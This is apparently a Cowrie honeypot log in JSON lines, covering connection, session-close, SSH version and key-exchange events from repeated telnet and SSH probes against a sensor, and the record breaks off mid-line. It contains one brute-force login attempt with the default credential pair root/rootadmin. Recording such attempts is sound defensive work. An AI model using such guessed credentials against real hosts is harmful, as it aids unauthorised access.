{"eventid":"cowrie.session.closed","duration":30.574764251708984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:40.066721Z","src_ip":"69.6.225.50","session":"bff53d519718","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75963568687439,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:40.300741Z","src_ip":"69.6.225.50","session":"2a23aa169190","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52302,"dst_ip":"159.203.135.109","dst_port":23,"session":"16c3e58bc623","protocol":"telnet","message":"New connection: 69.6.225.50:52302 (159.203.135.109:23) [session: 16c3e58bc623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:40.402969Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52314,"dst_ip":"159.203.135.109","dst_port":23,"session":"db3f7840fa88","protocol":"telnet","message":"New connection: 69.6.225.50:52314 (159.203.135.109:23) [session: db3f7840fa88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:40.430895Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootadmin","message":"login attempt [root/rootadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:40.463267Z","src_ip":"68.183.236.1","session":"b54386726adf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.387300968170166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:41.071318Z","src_ip":"69.6.225.50","session":"252889aef33c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":56162,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b2ad4f0110d","protocol":"telnet","message":"New connection: 144.79.218.12:56162 (10.17.0.5:23) [session: 6b2ad4f0110d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:41.231100Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:41.718761Z","src_ip":"68.183.236.1","session":"b54386726adf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.444037914276123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:42.054018Z","src_ip":"69.6.225.50","session":"3576c30b711a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":35338,"dst_ip":"159.203.135.109","dst_port":23,"session":"99220a6d1a6f","protocol":"telnet","message":"New connection: 185.15.23.59:35338 (159.203.135.109:23) [session: 99220a6d1a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:42.353579Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52326,"dst_ip":"159.203.135.109","dst_port":23,"session":"4414f4f8daa4","protocol":"telnet","message":"New connection: 69.6.225.50:52326 (159.203.135.109:23) [session: 4414f4f8daa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:42.366184Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52342,"dst_ip":"159.203.135.109","dst_port":23,"session":"096e1de75035","protocol":"telnet","message":"New connection: 69.6.225.50:52342 (159.203.135.109:23) [session: 096e1de75035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:42.521432Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52354,"dst_ip":"159.203.135.109","dst_port":23,"session":"4966c55bfecb","protocol":"telnet","message":"New connection: 69.6.225.50:52354 (159.203.135.109:23) [session: 4966c55bfecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:42.575647Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":36538,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f5cc734ff07","protocol":"telnet","message":"New connection: 185.15.23.59:36538 (159.203.135.109:23) [session: 7f5cc734ff07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:42.678755Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52358,"dst_ip":"159.203.135.109","dst_port":23,"session":"a495d2418111","protocol":"telnet","message":"New connection: 69.6.225.50:52358 (159.203.135.109:23) [session: a495d2418111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:43.008402Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52364,"dst_ip":"159.203.135.109","dst_port":23,"session":"484023760301","protocol":"telnet","message":"New connection: 69.6.225.50:52364 (159.203.135.109:23) [session: 484023760301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:43.048618Z"}
{"eventid":"cowrie.session.closed","duration":30.53002619743347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:43.122347Z","src_ip":"69.6.225.50","session":"296bf9d79ace","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.108203887939453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:43.144902Z","src_ip":"69.6.225.50","session":"719727252dcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0650794506073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:43.427198Z","src_ip":"69.6.225.50","session":"9a3d30560957","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":56168,"dst_ip":"10.17.0.5","dst_port":23,"session":"cab4cbedc313","protocol":"telnet","message":"New connection: 144.79.218.12:56168 (10.17.0.5:23) [session: cab4cbedc313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:43.434823Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":56178,"dst_ip":"10.17.0.5","dst_port":23,"session":"809e95dac341","protocol":"telnet","message":"New connection: 144.79.218.12:56178 (10.17.0.5:23) [session: 809e95dac341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:43.536644Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":39860,"dst_ip":"159.203.135.109","dst_port":23,"session":"02bb63ea1e18","protocol":"telnet","message":"New connection: 185.15.23.59:39860 (159.203.135.109:23) [session: 02bb63ea1e18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:43.755418Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":56188,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2f15b9430ac","protocol":"telnet","message":"New connection: 144.79.218.12:56188 (10.17.0.5:23) [session: b2f15b9430ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:44.281930Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":41542,"dst_ip":"159.203.135.109","dst_port":23,"session":"52b760c211e6","protocol":"telnet","message":"New connection: 185.15.23.59:41542 (159.203.135.109:23) [session: 52b760c211e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:44.392074Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":43402,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0c5492f48c6","protocol":"telnet","message":"New connection: 185.15.23.59:43402 (159.203.135.109:23) [session: c0c5492f48c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:44.929558Z"}
{"eventid":"cowrie.session.closed","duration":30.799638509750366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:45.062278Z","src_ip":"69.6.225.50","session":"33b78b9df0cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.26344060897827,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:45.145289Z","src_ip":"144.79.218.12","session":"30bdfd0f59e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50362753868103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:45.193319Z","src_ip":"69.6.225.50","session":"1bf73ec9ebb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47899341583252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:45.493054Z","src_ip":"69.6.225.50","session":"38cabdd5fbc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":45444,"dst_ip":"159.203.135.109","dst_port":23,"session":"82c5fa277dc4","protocol":"telnet","message":"New connection: 185.15.23.59:45444 (159.203.135.109:23) [session: 82c5fa277dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:45.657371Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52384,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfbfe374d092","protocol":"telnet","message":"New connection: 69.6.225.50:52384 (159.203.135.109:23) [session: dfbfe374d092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:45.668873Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":56200,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cf90b90dc98","protocol":"telnet","message":"New connection: 144.79.218.12:56200 (10.17.0.5:23) [session: 4cf90b90dc98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:45.981199Z"}
{"eventid":"cowrie.session.closed","duration":30.904868602752686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:46.070262Z","src_ip":"69.6.225.50","session":"78819dcff42f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.760807037353516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:46.096499Z","src_ip":"69.6.225.50","session":"ae646ef4bca4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52380,"dst_ip":"159.203.135.109","dst_port":23,"session":"a31f556276e1","protocol":"telnet","message":"New connection: 69.6.225.50:52380 (159.203.135.109:23) [session: a31f556276e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:46.151122Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52390,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d7448505354","protocol":"telnet","message":"New connection: 69.6.225.50:52390 (159.203.135.109:23) [session: 7d7448505354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:46.293808Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52404,"dst_ip":"159.203.135.109","dst_port":23,"session":"49ca814f869a","protocol":"telnet","message":"New connection: 69.6.225.50:52404 (159.203.135.109:23) [session: 49ca814f869a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:46.382696Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":42286,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f2d5220fe43","protocol":"telnet","message":"New connection: 5.61.90.139:42286 (10.17.0.5:23) [session: 0f2d5220fe43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:46.463235Z"}
{"eventid":"cowrie.session.closed","duration":30.489543676376343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:47.396490Z","src_ip":"69.6.225.50","session":"2841f40d9ef0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.396448135375977,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:47.512758Z","src_ip":"69.6.225.50","session":"b3ad29be5fd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.204445123672485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:47.589180Z","src_ip":"69.6.225.50","session":"273961e7afb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.838387727737427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:48.071367Z","src_ip":"69.6.225.50","session":"c6f8eb216744","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58626,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d977c6f327b","protocol":"telnet","message":"New connection: 69.6.225.50:58626 (159.203.135.109:23) [session: 2d977c6f327b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:48.174357Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58642,"dst_ip":"159.203.135.109","dst_port":23,"session":"561c31325ff4","protocol":"telnet","message":"New connection: 69.6.225.50:58642 (159.203.135.109:23) [session: 561c31325ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:48.518076Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":42326,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e12e4c7bd96","protocol":"telnet","message":"New connection: 5.61.90.139:42326 (10.17.0.5:23) [session: 2e12e4c7bd96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:48.995903Z"}
{"eventid":"cowrie.session.closed","duration":30.963369131088257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:49.058489Z","src_ip":"69.6.225.50","session":"fc7f9092ddd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.85469031333923,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:49.428926Z","src_ip":"144.79.218.12","session":"ad3859dd4899","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58646,"dst_ip":"159.203.135.109","dst_port":23,"session":"e58b67d03cf4","protocol":"telnet","message":"New connection: 69.6.225.50:58646 (159.203.135.109:23) [session: e58b67d03cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:49.570858Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58648,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed801b97a9dd","protocol":"telnet","message":"New connection: 69.6.225.50:58648 (159.203.135.109:23) [session: ed801b97a9dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:49.893187Z"}
{"eventid":"cowrie.session.closed","duration":30.612905502319336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:50.054611Z","src_ip":"69.6.225.50","session":"cc48ade39355","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.769654750823975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:50.060412Z","src_ip":"69.6.225.50","session":"6f0cd3cac949","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":34852,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff04843db97d","protocol":"telnet","message":"New connection: 144.79.218.12:34852 (10.17.0.5:23) [session: ff04843db97d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:50.580316Z"}
{"eventid":"cowrie.session.closed","duration":33.94934415817261,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:50.585427Z","src_ip":"144.79.218.12","session":"dbea22a46f95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.892046213150024,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:50.646609Z","src_ip":"144.79.218.12","session":"7821be8b4e19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58652,"dst_ip":"159.203.135.109","dst_port":23,"session":"17ca1d23cf5e","protocol":"telnet","message":"New connection: 69.6.225.50:58652 (159.203.135.109:23) [session: 17ca1d23cf5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:50.769153Z"}
{"eventid":"cowrie.session.closed","duration":30.71365523338318,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:51.091286Z","src_ip":"69.6.225.50","session":"92557105d9a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.425931453704834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:51.185438Z","src_ip":"69.6.225.50","session":"5216294d9264","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58656,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e03eae5fe83","protocol":"telnet","message":"New connection: 69.6.225.50:58656 (159.203.135.109:23) [session: 7e03eae5fe83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:52.037850Z"}
{"eventid":"cowrie.session.closed","duration":31.157719373703003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:52.110143Z","src_ip":"69.6.225.50","session":"db1d86216b69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.186200857162476,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:52.729619Z","src_ip":"144.79.218.12","session":"8cb37200c9ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58658,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ce76517275c","protocol":"telnet","message":"New connection: 69.6.225.50:58658 (159.203.135.109:23) [session: 6ce76517275c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:52.797698Z"}
{"eventid":"cowrie.session.closed","duration":35.68894934654236,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:52.874127Z","src_ip":"144.79.218.12","session":"5a96ff03b77c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58672,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e96bd1e8ef9","protocol":"telnet","message":"New connection: 69.6.225.50:58672 (159.203.135.109:23) [session: 9e96bd1e8ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:52.890233Z"}
{"eventid":"cowrie.session.closed","duration":30.933493614196777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:53.058336Z","src_ip":"69.6.225.50","session":"34fb8785c05e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.243558645248413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:53.206867Z","src_ip":"69.6.225.50","session":"08842016d79a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":40800,"dst_ip":"159.203.135.109","dst_port":23,"session":"93363ebc8d74","protocol":"telnet","message":"New connection: 185.15.23.59:40800 (159.203.135.109:23) [session: 93363ebc8d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:53.901778Z"}
{"eventid":"cowrie.session.closed","duration":30.608814001083374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:54.082534Z","src_ip":"69.6.225.50","session":"abc7a508cddc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":34868,"dst_ip":"10.17.0.5","dst_port":23,"session":"933d127cd50c","protocol":"telnet","message":"New connection: 144.79.218.12:34868 (10.17.0.5:23) [session: 933d127cd50c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:54.091042Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":34874,"dst_ip":"10.17.0.5","dst_port":23,"session":"66c017498cc3","protocol":"telnet","message":"New connection: 144.79.218.12:34874 (10.17.0.5:23) [session: 66c017498cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:54.139183Z"}
{"eventid":"cowrie.session.closed","duration":30.755131483078003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:54.189623Z","src_ip":"69.6.225.50","session":"371cb1a79d8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":34876,"dst_ip":"10.17.0.5","dst_port":23,"session":"839409c10f87","protocol":"telnet","message":"New connection: 144.79.218.12:34876 (10.17.0.5:23) [session: 839409c10f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:54.693313Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":34882,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a39dcefc672","protocol":"telnet","message":"New connection: 144.79.218.12:34882 (10.17.0.5:23) [session: 5a39dcefc672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:54.891584Z"}
{"eventid":"cowrie.session.closed","duration":31.11207413673401,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:55.058599Z","src_ip":"69.6.225.50","session":"4df1aa18df18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.669904708862305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:55.064280Z","src_ip":"69.6.225.50","session":"23895fa65705","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58676,"dst_ip":"159.203.135.109","dst_port":23,"session":"096897746a77","protocol":"telnet","message":"New connection: 69.6.225.50:58676 (159.203.135.109:23) [session: 096897746a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:55.138010Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52804,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e6707e8d86d","protocol":"ssh","message":"New connection: 159.203.92.129:52804 (159.203.135.109:22) [session: 5e6707e8d86d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:55.316618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:55.321651Z","src_ip":"159.203.92.129","session":"5e6707e8d86d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","e